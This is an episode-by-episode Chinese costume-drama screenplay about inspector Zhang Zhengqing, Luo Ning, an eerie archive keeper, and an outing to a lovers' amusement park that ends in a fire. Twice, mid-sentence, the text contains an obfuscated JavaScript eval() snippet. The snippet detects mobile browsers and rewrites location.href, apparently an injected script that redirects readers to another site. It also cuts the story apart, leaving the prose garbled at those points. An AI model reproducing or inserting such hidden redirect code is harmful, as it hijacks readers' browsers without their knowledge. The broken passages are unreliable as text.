张正清:不是我抄的、难道还是黄毅抄的?你若不信的话,大可以问问黄毅嘛!(对着黄毅)黄毅!你来告诉她,这个大忏悔文到底是谁抄的? 黄毅:(不敢得罪张正清,只好说)宁儿,这个大忏悔文确确实实是老大亲手抄的。(说完连打了几个哈欠) 洛宁:(瞅着黄毅)你的黑眼圈是怎么回事?难不成他昨晚抄大忏悔文的时候,还要你在旁边作陪呀? 黄毅:(见张正清正瞪着自己)哦,不是!那个……客栈的床太硬了,我翻来覆去睡不着。 张正清:听见没?我就说是我抄的嘛!你说我怀疑你,你不也在怀疑我吗?这下咱俩扯平了吧!嘿嘿! 京城 4-5 张府,客厅(日,内) 人物:张正清及其母亲、洛宁 回到京城,黄毅去探望他的亲人,田佳也去拜访她的旧友,张正清则带着洛宁,回到家里。 张母:这位就是洛姑娘吗?果然与咱们沉香国本地的姑娘不太一样! 张正清:娘!您倒是说说,哪里不一样? 张母:长相不太一样,性情也活泼了许多。 张正清:那敢情好!娘,您不是嫌家里闷吗?有她陪着您,还怕不够热闹吗? 张母:话虽然这么说,可她毕竟不是咱们张家的儿媳妇,哪能天天陪着我呀! 洛宁:(悄悄对张正清)张大哥,伯母的意思是让你快点儿娶妻生子。 张正清:(冲洛宁挤挤眼)快别说了,一提起这事儿她又会唠叨个没完! 张母:(没好气地)哼!你自己不上心,还怪我多嘴。宁儿,你天天和他在一起,可要替我多劝劝他,别让他只顾着忙督察府的事,把自己的终身大事给耽误了! 张正清:(干咳两声岔开话题)咳咳!娘!说了半天话,嘴都干了!这么热的天,您也不给我们来杯茶解解乏,我们都快渴死了! 张母:看见没?一提起这事儿他就故意岔开话题,真不知道他的心里是怎么想的! 张母命人送来茶水,几个人坐下来边喝边聊。 张母:清儿!你们这次回来打算待多久? 张正清:也就三五天,不会太久。 张母:唉!一年到头才回来那么一两次,每次只待上几天就走了,这个京城到底是你的家、还是你的客栈呀? 张正清:娘!您若是想我的话,可以去凤凰城嘛! 洛宁:对呀!伯母,您若是去了凤凰城,可一定要来我家坐坐,我大娘的岁数比您大不了多少,你们俩在一起,肯定有说不完的话。 张正清:(开玩笑)对呀!她儿子跟我一样没成家,你们俩在一起,肯定有共同话题。 张母:(对着洛宁)你听听!你听听!这是一个当儿子的应该说的话吗?宁儿,你大娘是不是也跟我一样,为了她儿子的婚事操碎了心? 洛宁:(瞅了一眼张正清,不知该如何回答)这…… 张正清:人家洛大娘早就看开了,哪像您呀! 张母:那是因为他们洛家不止有一个儿子,但我们张家就不一样了…… 张正清:(打断)噢,明白了明白了!您别说了!您的那些大道理,我早就背得滚瓜烂熟了!唉! 张母:(瞪了他一眼)宁儿头一回来京城,你不打算带她出去逛逛吗? 张正清:我明天还要进宫面圣,后天才有点儿空…… 张母:(一口打断)既然有空,不如去比翼双飞吧! 张正清/洛宁:比翼双飞? 张母:对呀!乞巧节马上要到了,每年的这个时候,比翼双飞可是全京城最热闹的地方。 洛宁:比翼双飞?这个名字听上去好浪漫呀! 张正清:嗯,行!反正我也没去过,正好咱俩一起去逛逛! 4-6 张府,花园(夜,外) 人物:张正清、洛宁 晚饭后,张正清带着洛宁在小花园里散步。 张正清:明天我进宫面圣,你一个人待在家里,可不许到处乱跑哟! 洛宁:你若不放心的话,就带上我一起去呗! 张正清:我倒是想这么做,可惜宫里的规矩太多,没有皇上的旨意,你想进去怕是很难! 洛宁:一入宫门深似海,我才不想进去呢! 张正清:唉!田佳这个丫头,来之前说好了,让她陪着你到处逛逛;谁知道她一来到京城,就忙着办自己的事去了。真没义气! 洛宁:她难得回来一趟,找老朋友叙叙旧,也是应该的。 张正清:要不这样吧,你明天替我去办件事。 洛宁:(撅起嘴)张大哥,我就知道你从来不会让我闲着。 张正清:你不是很想知道那些人的情况吗?京刑司里有他们的资料,你可以去了解一下。 洛宁:京刑司是何等地方,我去了,人家会让我进吗? 张正清:你放心,他们都认识你。 4-7 京刑司(日,内) 人物:洛宁、贾方 第二天,张正清进宫面圣,顺道将洛宁送去了京刑司。一见到她,贾方便笑了起来。 贾方:洛姑娘是吗?请随我来! 洛宁:真奇怪!我以前从未来过京刑司,你又怎么会认识我? 贾方:你虽然从未来过京刑司,可京刑司里却有你详细的档案。 洛宁:详细的档案? 贾方:当初你进入督察府的时候,不是填写过一份文书吗? 洛宁:对呀,我还在上面按了手印。不过仅凭这个,不怕弄错了吗? 贾方:我们这里还有你的画像,是张大人亲手画的,与真人一模一样。 洛宁:张大哥居然还会画像?我以为他只会舞刀弄剑呢! 贾方:太子殿下喜爱收藏名家字画,他自幼跟他在一起,耳濡目染,不学也会了。 洛宁:原来如此。 洛宁跟着贾方往前走,拐了几个弯之后,来到京刑司深处一栋幽暗的房子里。贾方扭动墙壁上的机关,地面下陷,出现层层阶梯。 贾方:密室就在下面,里面有人值守,洛姑娘可以自己进去。 洛宁:好的,多谢贾大人! 4-8 京刑司,地下密室(日,内) 人物:洛宁、冥不灵 贾方离开后,洛宁顺着台阶慢慢往下走,密室里虽然阴晦,却比外面凉爽了许多,只在东南角有一盏灯,忽明忽暗。 洛宁:这个地方怎么看上去有点儿阴森森的…… 身后忽觉一阵寒意,一个声音慢悠悠地飘了过来。 冥不灵:洛姑娘,是你吗? 洛宁吓了一跳,这个声音怎么听上去那么诡异呢?她本能地回过头,一拳打过去,拳头却被一只冰冷的大手硬生生地接住了。大手的后面,是一张惨兮兮的面孔,模样就像是刚从地底下爬出来的冤魂。 洛宁:鬼呀! 她大叫一声,扑上去就打,那鬼魂倒也懦弱,只抱着头连声哀嚎。 洛宁:咦!你怎么不还手呀? 冥不灵:姑娘想我还手吗? 洛宁:你……你是人还是鬼? 冥不灵:姑娘若说我是人,我就是人;姑娘若说我是鬼,我就是鬼。 洛宁将他打量了一番,见四下无人,心想或许他就是贾方嘴里的那个值守,便壮起胆子问。 洛宁:我说不算数,你自己说说,你到底是人还是鬼? 冥不灵:我?让我想想……我的身子虽然是个人,可我的心里却很想变成一只鬼。 洛宁:(松了口气)弄了半天你还是个人呀,那你又何必扮鬼吓我? 冥不灵:我吓你了吗? 洛宁:唉,罢了!是我想多了!不过刚才你说很想变成一只鬼,为何? 冥不灵:因为变成鬼的话,就能肆无忌惮地干坏事了。嘿嘿嘿! 他的脸上挂着笑容,声音听起来却像在哭,洛宁皱了皱眉头。 洛宁:人不也照样能干坏事吗? 冥不灵:人有良心。 洛宁:如果有一天,你当鬼当腻了,又想变回人,怎么办? 冥不灵:不会。 洛宁:哦,为何? 冥不灵:因为这个世上的坏人实在是太多了,怎么都杀不完。嘿嘿嘿! 洛宁:(没好气地)你杀过人吗? 冥不灵:(指了指自己的头)在我的脑子里,有一千种杀人的办法,你想听吗? 洛宁:贾大人说,密室里有人值守,是不是你? 冥不灵:对呀,就是在下。 洛宁:你果然是闲得没事做,才会整日在脑子里琢磨怎么杀人。 冥不灵:这间密室少有人来,我只能跟自己唠唠嗑。 洛宁:你不会出去走走吗? 冥不灵:我的眼睛患有恶疾,太阳底下看不见任何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007375|194058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 东西。 洛宁:你可以在阴雨天出去嘛! 冥不灵:我更喜欢待在黑暗里。 洛宁:唉,明白了,你爱怎样怎样吧!那个……玉屏山上那些囚犯的资料在哪里?能拿给我看看吗? 冥不灵:姑娘请稍等。 冥不灵说完,径直朝密室深处的一个柜子走去,从里面取出一沓资料,递给洛宁。 冥不灵:这些便是。 洛宁:原来你早就准备好了呀? 冥不灵:我并不知道姑娘会来,只不过在密室里待久了,对各类案卷的摆放十分熟悉罢了。 洛宁:嗯,也是。 冥不灵从东南角借了个火,又点了一盏灯,放在一张桌子上。 洛宁:这里这么暗,为何不多点几盏灯? 冥不灵:一个人一盏灯,足够了。 洛宁:唉,好吧。 洛宁在桌前坐下,开始翻阅案卷,冥不灵也悄无声息地回到东南角坐下。 洛宁:冥大人,你会功夫吗? 冥不灵:为何问这个? 洛宁:我见你走路时不发出一点儿声响,轻功应该很不错了? 冥不灵:(嘿嘿一笑)雕虫小技而已。 他的笑声令洛宁感到不适,她便不再跟他说话,埋头查看案卷。当看到一个人的资料时,她忍不住惊呼。 洛宁:天哪!这个人居然会点金术!日后若见到他,我一定要拜他为师! 冥不灵:他能将石头变成金子,也能将金子变成石头。 洛宁:这样岂不是更好?等我学成了,对我好的人,我就把他的石头全变成金子;对我不好的人,我就把他的金子全变成石头。哼哼! 冥不灵:(嘟哝)你这种人,怎么会进入督察府?你应该去当坏蛋嘛! 4-8 京刑司,地下密室(日,内) 人物:洛宁、冥不灵 密室里的光线太暗,洛宁看着看着,便打起了哈欠,又过了一会儿,她居然睡着了。冥不灵望了她一眼,嘿嘿一笑,开始自言自语。 冥不灵:冥灵,在吗? 冥灵:在。 冥不灵:她好像睡着了。 冥灵:我知道。 冥不灵:要不要杀了她? 冥灵:怎么杀? 冥不灵:掐死她! 冥灵:好办法!不过,咱们为何要杀她? 冥不灵:(想了想)因为……因为她想干坏事。 冥灵:她干什么坏事了? 冥不灵:目前还没有,但将来肯定会。 冥灵:你怎么知道? 冥不灵:她自己说的。 冥灵:咱们也想杀她,但咱们还没有动手,这到底算是杀了还是没杀? 冥不灵:没动手的话,当然是没杀。 冥灵:她也想干坏事,但她也还没有动手,这到底算是干了还是没干? 冥不灵:没动手的话,当然是没干。 冥灵:既然没干坏事,咱们为何要杀她? 冥不灵:(想了想)因为……因为她想干坏事。 冥灵:她干什么坏事了? 冥不灵:目前还没有,但将来肯定会。 冥灵:你怎么知道? 冥不灵:她自己说的。 …… 冥不灵的嘴里反反复复地念叨着同样的几句话,说着说着,也打起了呼噜。 4-9 京刑司,地下密室(日,内) 人物:冥不灵、于烈 傍晚时分,分管京城的于督察,也来到了密室里。在沉香国的督察里面,他最年轻,模样也十分俊朗,官服穿在他的身上,显得风度翩翩。 于烈:(一进入密室便忍不住叹)好香啊! 冥不灵:是木兰花的味儿。 于烈:木兰花?你焚香了? 冥不灵:(摇摇头)我从不祷告,为何要焚香? 于烈:那这个味儿又是从何而来? 冥不灵:是一位姑娘身上的。 于烈:(眯起眼)姑娘? 冥不灵:别这样看着我,我跟她没任何关系。她来这里,只是为了查档。 于烈:哦,这样啊。 冥不灵:于大人,您来这里又是为何? 于烈:我想看看玉屏山上那些囚犯的资料。 冥不灵:原来跟她有关系的人是您呀! 于烈:什么意思? 冥不灵:意思就是,你们俩都想到一块儿去了。 于烈:哦,是吗?她是谁?叫什么名字?来自哪里? 冥不灵:她叫洛宁,是凤凰城张督察的手下。 于烈:洛宁? 冥不灵:(嘟哝)美丽又危险,就像曼陀罗花。 4-10 张府,张正清的屋子(夜,内) 人物:洛宁、张正清 回到张府,洛宁便迫不及待地问张正清。 洛宁:张大哥,密室里那个叫冥不灵的值守,是何来历? 张正清:我就知道你会问他,是不是很意外呀? 洛宁:可不是嘛!我长这么大,还从来没见过像他这样的人。那密室里的环境,跟阴曹地府差不多,他的脸上又没有一丝血色,浑身上下散发着彻骨的寒意,他若不说他是人,我会真把他当成鬼。 张正清:他的性情确实有点儿古怪,不过在某些方面,却有着非凡过人的能力。 洛宁:哪些方面? 张正清:任何案卷,只要经过他的手,他都能一字不漏地把里面的内容复述出来。 洛宁:你怎么不早说? 张正清:怎么了? 洛宁:早知道他有这方面的本事,我还一页一页地翻什么呀,直接问他不就行了。 张正清:懒东西!你动动手会死呀? 洛宁:密室里的灯光太暗,我看着看着就睡着了。 张正清:冥不灵呢?他没叫醒你吗? 洛宁:他比我睡得更香。 张正清:(没好气地)你俩是不是跟周公约好了一起吃饭呀?你说你一个女孩子,这么能吃又这么能睡,好意思吗? 洛宁:(理直气壮地)吃不下又睡不着,还活着干嘛? 张正清:(白了她一眼)你今天去查看那些囚犯的资料,有什么收获? 洛宁:我特别想见一见那个会点金术的人,你们找到他了没? 张正清:王督察已经把整座玉屏山都搜遍了,只发现了那些狱卒的尸体,未找到一个囚犯。 洛宁:什么意思?这些囚犯到底是生是死? 张正清:就目前掌握的情况来看,他们极有可能是趁着雪山地震之际,杀死狱卒逃跑了。 洛宁:这样啊,那可真是太好了! 张正清:(两眼一瞪)小鬼,胡说什么呢!这些人若是流落在外,会把咱们沉香国搅得一塌糊涂! 洛宁:话虽这么说,可他们的本事还真是非比寻常,若能用来造福百姓,也未尝不是一件好事。 张正清:是啊!所以当初皇上才会对他们只囚不杀,可惜这些人冥顽不灵,宁可被关在牢里,也不肯为朝廷效力,如今又杀了狱卒,想让他们归顺,怕是更难。 洛宁:(嘀咕)冥顽不灵?冥不灵?嘻嘻,真有趣! 张正清:今日皇上召见我们,也是为了这件事。郑督察和冯督察都主张逮住一个杀一个,可皇上依旧不忍心,要我们在追捕这些人的时候,务必留下活口。 洛宁:太好了!我正想跟他们学两招呢!尤其是那个点金术,只要学会了它,姑娘我以后天天下馆子、顿顿有肉吃…… 张正清:(吼)小屁孩!我就不该让你知道这件事!哼! 29. 第四篇 表哥和他的朋友 京城 4-11 马路上(日,外) 人物:张正清、黄靖、黄毅、慧月公主 张正清站在路口,等着黄靖、黄毅兄弟俩。一会儿,驰来一辆马车,隔着老远,黄靖笑着跟他打招呼。 黄靖:正清!正清!你瞧瞧,谁来了? 张正清:谁呀? 马车在张正清的面前停下,从上面下来一个人,正是慧月公主。 张正清:(意外)额,原来是慧月呀! 慧月公主:正清哥哥,好久不见! 黄靖:什么好久不见?年前你们俩不是才见过一面吗? 张正清:(瞪了黄靖一眼,干咳两声)咳咳!那个……慧月,这么热的天,你怎么出宫了? 黄靖:(抢先回答)比翼双飞那个地方依山傍水,比宫里凉快多了! 张正清:(没好气地)我跟她说话,你插什么嘴呀? 黄靖:(假装没听见,伸长脖子瞅了瞅四周,问张正清)那个小丫头呢?她不是跟你一起来京城了吗?怎么没看见她? 张正清:(指着不远处的茶楼)她和田佳正在茶楼里等着咱们呢! 黄靖:那还等什么?咱们快过去吧!(这就要走,却被张正清拦住) 张正清:喂喂喂,着什么急呀?先说清楚,那两个丫头还不知道你们的身份,一会儿可别说漏了嘴。 黄靖:这个你别担心,微服私访我最拿手了!嘿嘿! 4-12 茶楼(日,内) 人物:张正清、黄靖、黄毅、洛宁、田佳、慧月公主 黄靖一见到洛宁,便惊为天人。 黄靖:啧啧,张正清,我终于明白你为何宁可待在凤凰城、也不愿回京城了,我的身边要是有一位像洛姑娘这样的大美人儿,我也哪儿都不去,就守着她过一辈子。 张正清:(没好气地)黄靖呀黄靖,你跟人家才头一回见面,就这么色眯眯地盯着人家,也不怕把人家吓跑了? 黄靖:洛姑娘,你怕吗? 洛宁:(瞅了一眼张正清)有张大哥在,我不怕。 黄靖:哈哈!听见没?有督察府的张大人在,谁敢打她的主意呀?除非他不要命了!哈哈! 张正清:(对着洛宁)我这个兄弟就爱开玩笑,他的话你别当真。 洛宁:我知道。如果他不是好人,你又怎么会跟他这般亲近? 黄靖:哈哈!听见没?还是人家洛姑娘对我的看法最公道!哈哈! 4-13 马车车厢(日,内) 人物:张正清、黄靖、黄毅 喝完茶,一行人又继续前往比翼双飞。三个女孩坐在前一辆马车里,叽叽喳喳说个不停,三个男人坐在后一辆马车里。 张正清:(瞪了黄靖一眼,不高兴地抱怨)你这个家伙,不是说好了只你一个人来吗?怎么把她也带上了? 黄靖:我也没办法,是你娘非逼着我把她带过来的。 张正清:我娘?(恍然大悟)噢,难怪她提议我们来比翼双飞,弄了半天是在给我下套呀! 黄靖:你是督察大人,谁敢给你下套呀?也就只有你娘有这个胆子。哈哈! 张正清:唉,她可真是闲来无事瞎操心呀! 4-14 比翼双飞,前门(日,外) 人物:张正清、黄靖、黄毅、洛宁、田佳、慧月公主、守卫若干、游客若干 一行人来到比翼双飞,正打算进去,却被门口的守卫拦住。 守卫:喂!你们几个,谁跟谁一对儿? 黄靖:谁跟谁一对儿?干嘛问这个? 守卫:这位公子,您也不看看这里是什么地方?这里可是比翼双飞!您瞧瞧您周围的男男女女,哪个不是成双成对地出入? 张正清:成双成对是吗?那你倒是数数,我们一共有几个人? 守卫:一、二、三……六个! 张正清:几个男的、几个女的? 守卫:三男三女。 张正清:这不正好是三对吗?你是不是不识数呀? 守卫:不是我不识数,问题是我们这里的规矩,要求所有来这里的男男女女都必须手牵着手、成对地出入。 黄靖:手牵着手、成对地出入?听你这意思,若不是情侣,还不能来你们这里? 守卫:没错,正是如此! 张正清:这是谁定的破规矩,我张正清长这么大还是头一回听说! 守卫:比翼双飞自打开办以来,一直就是这样的规矩,公子您可能以前从没来过…… 黄靖:(故意板起脸)什么叫以前从没来过?难不成在你们这里打光棍犯法呀? 张正清:(瞪了黄靖一眼)黄靖!你骂谁呢? 洛宁:行了行了,你俩别吵了!咱们来这里,是为了图个开心,既然他们有他们的规矩,咱们照办便是。 黄靖:说得没错!(向洛宁伸出手)洛姑娘,走!咱俩一起进去! 张正清:(一把推开他)喂喂喂,干什么呢?想趁机占人家便宜呀? 黄靖:(朝慧月公主努努嘴)我这不是在给你创造机会吗? 张正清:(瞪了他一眼)用不着!(对着守卫)这位兄弟,不如这样,你来猜一猜我们这些人里面,谁跟谁是一对儿?如果你猜对了,我们就按你们的规矩来;但如果猜错了,你们的那些规矩,还是说给别人听吧。怎么样? 守卫:这…… 黄靖:这个办法好!(指着张正清对守卫)你先来猜一猜,他跟这几位姑娘中的哪一位是一对儿。如果你猜对了的话,我们不仅按你们的规矩来,还会额外打赏你哟! 守卫:真的吗?那敢情好!我来猜一猜…… 黄靖朝守卫挤挤眼,又对着慧月公主努了努嘴,示意他选慧月公主。守卫看了看慧月公主,又看了看张正清,却指着洛宁说。 守卫:应该是这位姑娘吧! 张正清:(一听便乐了)呵呵,黄靖,你来说说,他猜得对不对呀? 黄靖:(对着守卫)喂喂喂,你这是什么眼神呀?我明明朝那位姑娘努了努嘴,你怎么偏偏说是她呀?你也不瞧瞧,这二位的岁数相差那么大,她怎么可能跟他是一对儿呢? 守卫:(指着张正清对黄靖)嘿嘿,这位公子!实不相瞒,这位爷的面相一看就知道不好惹,我若不把最年轻漂亮的姑娘指给他,我怕他会揍我。 张正清:(笑着拍拍黄靖的肩膀)哈哈!听见没?这叫不怒自威!赶紧打赏吧!哈哈! 4-15 比翼双飞,游乐场(日,外) 人物:张正清、黄靖、黄毅、洛宁、田佳、慧月公主、游客若干 进了比翼双飞,一行人发现里面的男女果然都是成双成对、结伴而行。 慧月公主:瞧这一对对儿,多令人羡慕呀! 她一边说一边瞟了一眼张正清,他却装作没听见,将脸扭向另一边。 洛宁:我倒是觉得,在沉香国里有这么一个地方,着实令人意外。 张正清:此话何意? 洛宁:你们沉香国的男人不都是三妻四妾吗?那么这里也不该叫比翼双飞,而应该叫比翼三飞、比翼四飞、甚至比翼十飞才对;这里的男女也不该成双成对地出入,而应该一拖三、一拖四、甚至一拖十才对! 黄靖:(笑)照你这么说,我也不该来这里。 洛宁:黄大哥的岁数跟张大哥差不多,应该已经成家了吧?你有几房妻妾? 黄靖:一个正室三个妾室。 洛宁:以后是否还打算再娶? 黄靖:不用等以后,下个月就要再娶一房,日子都定好了。 洛宁:听见没?所以说,嫁人千万不要嫁给沉香国的男人,不然的话,婚后的日子肯定不好过! 张正清:小屁孩!你以为我们沉香国的男人一个个都像他这样啊? 黄靖:像我这样怎么了?在我们沉香国,自古以来不都是这样吗?你自己说说,在已有家室的男人里面,谁能例外? 黄毅:比翼双飞的老板陈秉常,就是个例外。 田佳:哦,快说来听听! 黄毅:他之所以开办这个比翼双飞,就是为了兑现当初对陈夫人的承诺。 田佳:什么承诺? 黄毅:一夫一妻、比翼双飞。 洛宁:他做到了吗? 黄毅:如果没有做到的话,又何来这个比翼双飞呢? 慧月公主:那么他俩一定很幸福了? 黄毅:不仅夫妻之间恩爱如初,还生下了一对儿女,可谓好事成双。 田佳:难怪大家会在乞巧节的时候来这里,或许心里也都盼望着能够像他们一样伉俪情深,执子之手、与子偕老。 洛宁:只是不知来过这里之后,是否真的就能比翼双飞呢? 张正清:若真有缘分,三生三世亦不分离;若没有缘分,哪怕在这里手牵着手,也貌合神离。呵呵! 4-16 比翼双飞,游乐场(日,外) 人物:张正清、黄靖、黄毅、洛宁、田佳、慧月公主、游客若干 比翼双飞里的每一项游戏,都要男女搭档才能进行。 黄靖:射箭怎么样?你来挽弓、慧月来搭箭,同心合力,勇夺第一! 张正清:昨晚睡得太沉,手臂压麻了,到现在还没缓过来呢! 黄靖:骑马怎么样?慧月来执缰、你来策马,一起奔向幸福的终点! 张正清:前阵子抓捕鱼小儿,腰闪了,到现在还没好呢! 黄靖:得得得,我明白了!你不就是不想费力气吗?好说!猜灯谜怎么样?这个只需动动脑子、动动嘴就行了,总难不倒你吧? 张正清:(没好气地)黄靖,你什么意思呀?你明知道我是武状元、不是文状元,还净挑我不擅长的弱项下手,你是不是故意想让我当众出丑呀? 黄靖:这也不行那也不行,你来这里干嘛? 张正清:(指着空中)那个怎么样? 众人抬头一看,原来是乘坐木制的飞鸢,在空中遨游。 黄靖:飞鸢? 张正清:对呀!那个看上去挺有意思,我还从来没玩过呢! 慧月公主:(皱起眉头)飞得那么高,如果一不小心掉下来了,怎么办呀? 张正清:这个高度掉下来,小命估计能保住,胳膊腿儿就不好说了。 田佳:那要是头朝下掉下来,岂不是死定了? 张正清:对呀!敢不敢跟我一起上去?那个可比骑马射箭有趣多了! 众人尚有些犹豫,洛宁却自告奋勇。 洛宁:张大哥,我跟你一起去! 张正清:(正中下怀)好啊!小鬼,咱们走! 4-17 比翼双飞,空中(日,外) 人物:洛宁、张正清 木制的飞鸢摇摇晃晃,升上了天空。 洛宁:张大哥,你瞧!那里有只鸟,我们现在飞得跟它一样高了! 张正清:想不想超过它? 洛宁:好啊! 张正清:(温柔地望着她)你怕吗? 洛宁:有你在,我不怕! 张正清哈哈大笑。 4-18 比翼双飞,空中(日,外) 人物:洛宁、张正清 飞鸢越飞越高、越飞越远,在空中自由自在地遨游。 洛宁的目光不经意地落在远处的一栋房子上:里面有一个女人,正在训斥一个小姑娘,小姑娘不住地点头赔不是,女人却不依不饶,手指着她,恶狠狠地咒骂着,旁边的摇篮里,睡着一个小婴儿,他被骂声惊醒,哇哇大哭了起来,小姑娘急忙上前抱起他,这个举动令女人更加恼火,她拔下头上的簪子,对准小婴儿和小姑娘,狠命地戳了起来。 洛宁(内心独白):怎么会有这般恶毒的女人?可惜我在上面,不然的话,我一定过去抽她两巴掌! 张正清:你在看什么? 洛宁:(猛然回过神)哦,没什么!张大哥,你的胳膊怎么样?好些没?还有你的腰,什么时候受的伤,我怎么不知道? 张正清:刚才还挺难受,一坐上飞鸢全都好了,你说奇怪不? 洛宁:(没好气地)等你回到地面上,是不是又要开始难受了? 张正清:嗯,也是啊!那咱们就在这天上多待一会儿吧,哈哈哈! 4-19 比翼双飞,游乐场(日,外) 人物:张正清、黄靖、黄毅、洛宁、田佳、慧月公主 张正清和洛宁从飞鸢上下来时,已近黄昏。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007376|194058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 黄靖:你俩可真行呀!在上面待了足足两个时辰,天上的风景有那么好看吗? 张正清:人人都想当神仙,你说好看不好看? 4-20 比翼双飞,鸳鸯楼(夜,内) 人物:张正清、黄靖、黄毅、洛宁、田佳、慧月公主、陈氏夫妇及儿女、酒楼伙计 见天色已晚,一行人走进一家名叫鸳鸯楼的酒楼里用餐。 店小二:客官,真不好意思!雅间全满了,就剩下大堂里还有几张桌子。 黄靖:全满了?生意这么好呀? 店小二:今儿是我们比翼双飞的东家在楼上摆酒,给小少爷庆生。 黄靖:哦,原来是这样,那行,咱们就在大堂里吃吧! 店小二领着众人在大堂里坐下,又端来茶水,然后便去后厨传菜了。 洛宁:张大哥!你瞧人家黄大哥多豪爽,请我们在这么高大上的地方吃饭,你对我们可从来没这么大方过! 田佳:是啊!每次你都是在路边摊请我们吃饭,亏你还是个督察,也不怕旁人笑你寒酸! 张正清:你们这两个丫头,吃了喝了还嫌不好!以后干脆你们自己去吃,我不管了! 田佳:不行不行!我那点儿薪水哪够吃呀! 洛宁:是啊!张大哥,你答应过不让我花钱,你不能说话不算数呀! 张正清:你俩当我是钱袋子呀?你那点儿薪水不够吃,我的就够呀? 田佳:总比我们的多吧! 黄靖:哈哈,行了行了,你俩别跟他抬杠了!以后只要你们来京城,吃的喝的我全包了! 洛宁:我们一年到头能来几回京城呀,不如黄大哥你去凤凰城吧! 田佳:对呀对呀!凤凰城里也有许多高大上的地方! 黄靖:行啊!张正清,不如咱俩换一换,你留在京城,我跟着她俩去凤凰城,正好感受一下当督察、抓坏蛋的滋味儿! 张正清:你当这是什么?说换就换呀?你也试试在大热天里跟腐尸打交道的滋味儿,保你在接下来的半个月里都吃不进一粒米! 洛宁:谁说的!我怎么觉得我每次验完尸之后,胃口反倒更好了呢? 一席话说得众人都笑了。 慧月公主:洛姑娘!你面对着那些死人,不怕吗? 洛宁:为何要怕?它们又不会跳起来咬我! 张正清:是啊!与它们相比,活生生的人才最可怕! 从楼上下来一个女人,洛宁无意中瞥了一眼,发现她正是之前在那栋房子里大发脾气的那个女人。 陈夫人:小二!菜好了没?快去帮我催催,别让客人等着急了! 店小二:夫人您稍等,我这就去帮您问问! 女人说完,又回楼上去了。店小二从后厨过来,给众人端来几盘凉菜。 店小二:客官请慢用! 洛宁:小二,刚才跟你说话的那位夫人是谁呀? 店小二:她就是咱们比翼双飞的老板娘! 黄靖:老板娘?可她看上去一点儿也不老呀! 店小二:嘿嘿,公子,我们老板娘这么多年来一直都是这般模样,就像是吃了什么青春不老药,虽然接连生了两个孩子,面容和身段却是一点儿没变过! 田佳:等我到了她这把岁数,若也能像她这样,那该多好呀! 一个男人从雅间里出来,怀里抱着一个小婴儿。 洛宁(内心独白):咦,这不是屋里的那个婴儿吗? 见到那个男人,店小二急忙上前打招呼。 店小二:老爷,您怎么出来了? 陈秉常:里面太吵了,楚儿有点儿烦,我带他出来走走。 陈秉常用拨浪鼓逗弄着小婴儿,小婴儿似乎有些不耐,打了个哈欠,哭了起来。 陈秉常:小二,你去把容缕叫过来! 店小二:好嘞,您稍等! 店小二进去雅间里,不一会儿,从里面出来一个姑娘,正是洛宁在飞鸢上看到的那位。 陈秉常:容缕,楚儿好像有点儿困了,你带他回去睡觉吧! 容缕:好的!弟弟,咱们走! 容缕抱着小婴儿离开了酒楼,陈秉常也转身回了雅间。 店小二又端来几盘热菜,并给众人添酒。 黄靖:小二,刚才那个模样长得挺富态的男人,应该就是你们比翼双飞的老板吧? 店小二:正是!他怀里抱着的那个孩子,便是小少爷,刚满周岁,楼上的酒席就是为他摆的。 田佳:你们老板这么大的家业,怎么才给小少爷雇了一个奶娘? 店小二:那不是奶娘,那是小少爷的姐姐,我们老板的亲生女儿。 黄靖:(吃惊)亲生女儿?可她看上去又肥又丑,一点儿也不像亲生的。 店小二:女儿随父嘛!当年老爷和夫人来京城开办这个比翼双飞的时候,一直将她寄养在乡下,去年才把她接过来同住。她没见过世面,也不懂得如何打扮,成天都是这副邋里邋遢的样子,老爷和夫人忙着比翼双飞的生意,也没空教她。 田佳:你若不说,我还真看不出来他们是一家人。 黄毅:姐姐快要出阁了,弟弟还是个小不点儿,这二位给人的感觉,像是差了一个辈分。 店小二:呵呵,您别看他还是个小不点儿,将来这个比翼双飞可是他的天下哟! 陈夫人又从雅间里走出,冲着楼下喊。 陈夫人:小二!再多拿些酒来! 店小二:好嘞,夫人!这就来! 店小二离开后,众人就着满桌的酒菜,吃了起来。刚吃完饭,正打算喝杯茶解解腻,却见陈夫人摇摇晃晃地从楼上下来,她的双颊通红,像是喝了不少酒。店小二见状,急忙上前搀扶。 店小二:夫人!您怎么样了?要不要给您来杯茶? 陈夫人:用不着!(捂住胸口,像是要吐出来)我出去醒醒酒,你上去帮忙招呼一下客人! 店小二:好嘞,您慢点儿! 陈夫人离开后,店小二便去了楼上,众人也继续喝茶。过了一会儿,陈夫人回来了,又是一副精神抖擞的样子,看来她的酒量应该不错。 黄靖:不愧是比翼双飞的当家主母,家大业大、酒量更大。呵呵! 30. 第四篇 表哥和他的朋友 京城 4-21 比翼双飞,陈氏夫妇的屋子(夜,外) 人物:张正清、黄靖、黄毅、洛宁、田佳、慧月公主、陈氏夫妇、仆人若干 夜深了,一行人正欲离去,却见几个家丁模样的人慌慌张张地跑了进来,嘴里喊着:“着火了!着火了!……”众人奔出去一看,只见不远处的一栋屋子,已是浓烟滚滚。家丁们拎着一桶桶水,正在灭火。 陈老爷:(酒一下醒了)天哪!那……那是我的家!我的孩子还在里面! 张正清:快去救人! 